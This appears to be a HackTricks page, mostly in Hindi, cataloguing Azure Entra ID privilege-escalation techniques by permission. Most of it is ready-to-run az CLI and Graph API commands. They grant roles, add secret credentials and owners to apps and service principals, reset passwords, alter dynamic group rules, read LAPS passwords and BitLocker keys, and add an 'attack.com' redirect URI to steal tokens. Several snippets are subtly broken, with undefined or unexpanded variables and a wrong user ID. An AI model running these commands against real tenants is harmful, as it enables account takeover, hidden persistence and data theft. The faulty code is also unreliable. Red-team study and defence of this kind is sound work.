Az - EntraID Privesc

Reading time: 12 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

note

ध्यान दें कि सभी ग्रैन्युलर अनुमतियाँ जो Entra ID में अंतर्निहित भूमिकाओं में हैं, कस्टम भूमिकाओं में उपयोग के लिए योग्य नहीं हैं।

भूमिकाएँ

भूमिका: विशेषाधिकार प्राप्त भूमिका प्रशासक

यह भूमिका प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने के लिए आवश्यक ग्रैन्युलर अनुमतियाँ रखती है। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।

  • उपयोगकर्ता को भूमिका सौंपें:
bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • एक भूमिका में अधिक अनुमतियाँ जोड़ें:
bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

यह एक हमलावर को क्रेडेंशियल्स (पासवर्ड या प्रमाणपत्र) को मौजूदा अनुप्रयोगों में जोड़ने की अनुमति देता है। यदि अनुप्रयोग के पास विशेषाधिकार प्राप्त अनुमतियाँ हैं, तो हमलावर उस अनुप्रयोग के रूप में प्रमाणित हो सकता है और उन विशेषाधिकारों को प्राप्त कर सकता है।

bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

यह applications/credentials/update के समान क्रियाएँ करने की अनुमति देता है, लेकिन एकल-निर्देशिका अनुप्रयोगों के लिए सीमित है।

bash
az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

अपने आप को एक मालिक के रूप में जोड़कर, एक हमलावर एप्लिकेशन में हेरफेर कर सकता है, जिसमें क्रेडेंशियल और अनुमतियाँ शामिल हैं।

bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

एक हमलावर उन अनुप्रयोगों में एक रीडायरेक्ट URI जोड़ सकता है जो टेनेट के उपयोगकर्ताओं द्वारा उपयोग किए जा रहे हैं और फिर उनके साथ लॉगिन URLs साझा कर सकता है जो नए रीडायरेक्ट URL का उपयोग करते हैं ताकि उनके टोकन चुराए जा सकें। ध्यान दें कि यदि उपयोगकर्ता पहले से ही अनुप्रयोग में लॉग इन था, तो प्रमाणीकरण स्वचालित होगा बिना उपयोगकर्ता को कुछ स्वीकार करने की आवश्यकता के।

ध्यान दें कि अनुप्रयोग द्वारा अनुरोधित अनुमतियों को बदलना भी संभव है ताकि अधिक अनुमतियाँ प्राप्त की जा सकें, लेकिन इस मामले में उपयोगकर्ता को सभी अनुमतियों के लिए पूछने वाले प्रॉम्प्ट को फिर से स्वीकार करना होगा।

bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

सेवा प्रिंसिपल

microsoft.directory/servicePrincipals/credentials/update

यह एक हमलावर को मौजूदा सेवा प्रिंसिपलों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रिंसिपल के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।

bash
az ad sp credential reset --id <sp-id> --append

caution

नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।
API से इन्हें इस प्रकार पाया जा सकता है: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

यदि आपको त्रुटि मिलती है "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." तो इसका कारण यह है कि आप SP के passwordCredentials प्रॉपर्टी को संशोधित नहीं कर सकते और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक अनुमति की आवश्यकता है (microsoft.directory/applications/allProperties/update) जो आपको निष्पादित करने की अनुमति देती है:

bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

यह एक हमलावर को मौजूदा सेवा प्रमुखों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रमुख के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।

bash
az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

ऐप्लिकेशनों की तरह, यह अनुमति एक सेवा प्रिंसिपल के लिए अधिक मालिक जोड़ने की अनुमति देती है। एक सेवा प्रिंसिपल का मालिक होना इसके क्रेडेंशियल्स और अनुमतियों पर नियंत्रण की अनुमति देता है।

bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

caution

एक नया मालिक जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना आवश्यक है। इसलिए आप आजकल मालिकों को हटा नहीं सकते

microsoft.directory/servicePrincipals/disable और enable

ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरीके से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।

ध्यान दें कि इस तकनीक के लिए हमलावर को सक्षम सेवा प्रमुख पर नियंत्रण पाने के लिए अधिक अनुमतियों की आवश्यकता होगी।

bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

ये अनुमतियाँ सिंगल साइन-ऑन के लिए क्रेडेंशियल बनाने और प्राप्त करने की अनुमति देती हैं, जो तृतीय-पक्ष अनुप्रयोगों तक पहुँच प्रदान कर सकती हैं।

bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

समूह

microsoft.directory/groups/allProperties/update

यह अनुमति विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ने की अनुमति देती है, जिससे विशेषाधिकार वृद्धि होती है।

bash
az ad group member add --group <GroupName> --member-id <UserId>

नोट: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।

microsoft.directory/groups/owners/update

यह अनुमति समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, संभावित रूप से समूह के लिए विशेषाधिकार बढ़ा सकता है।

bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

नोट: यह अनुमति Entra ID भूमिका-निर्धारण योग्य समूहों को बाहर करती है।

microsoft.directory/groups/members/update

यह अनुमति एक समूह में सदस्यों को जोड़ने की अनुमति देती है। एक हमलावर खुद को या दुर्भावनापूर्ण खातों को विशेषाधिकार प्राप्त समूहों में जोड़ सकता है, जिससे उच्च स्तर की पहुंच प्राप्त हो सकती है।

bash
az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ने के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।

bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

नोट: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।

डायनामिक समूह प्रिवेस्क

उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्य के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:

Az - Dynamic Groups Privesc

उपयोगकर्ता

microsoft.directory/users/password/update

यह अनुमति गैर-प्रशासक उपयोगकर्ताओं के लिए पासवर्ड रीसेट करने की अनुमति देती है, जिससे संभावित हमलावर को अन्य उपयोगकर्ताओं के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती है। यह अनुमति कस्टम भूमिकाओं को असाइन नहीं की जा सकती।

bash
az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

यह विशेषाधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। यह सामान्य है कि गतिशील समूह होते हैं जो विशेषताओं के मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए, यह अनुमति एक उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह एक विशिष्ट गतिशील समूह का सदस्य बन सके और विशेषाधिकार बढ़ा सके।

bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता करती हैं, को बायपास किया जा सकता है, जाँच करें:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

यह अनुमति हमलावरों को उपकरणों के मालिक के रूप में खुद को असाइन करने की अनुमति देती है ताकि वे उपकरण-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें।

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

यह अनुमति हमलावरों को अपने खाते को उपकरणों के साथ जोड़ने की अनुमति देती है ताकि वे पहुंच प्राप्त कर सकें या सुरक्षा नीतियों को बायपास कर सकें।

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

यह अनुमति हमलावरों को Microsoft Entra से जुड़े उपकरणों के बैकअप स्थानीय व्यवस्थापक खाता क्रेडेंशियल्स की विशेषताओं को पढ़ने की अनुमति देती है, जिसमें पासवर्ड भी शामिल है।

bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

यह अनुमति BitLocker कुंजियों तक पहुँचने की अनुमति देती है, जो एक हमलावर को ड्राइव को डिक्रिप्ट करने की अनुमति दे सकती है, जिससे डेटा की गोपनीयता का उल्लंघन हो सकता है।

bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

अन्य दिलचस्प अनुमतियाँ (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें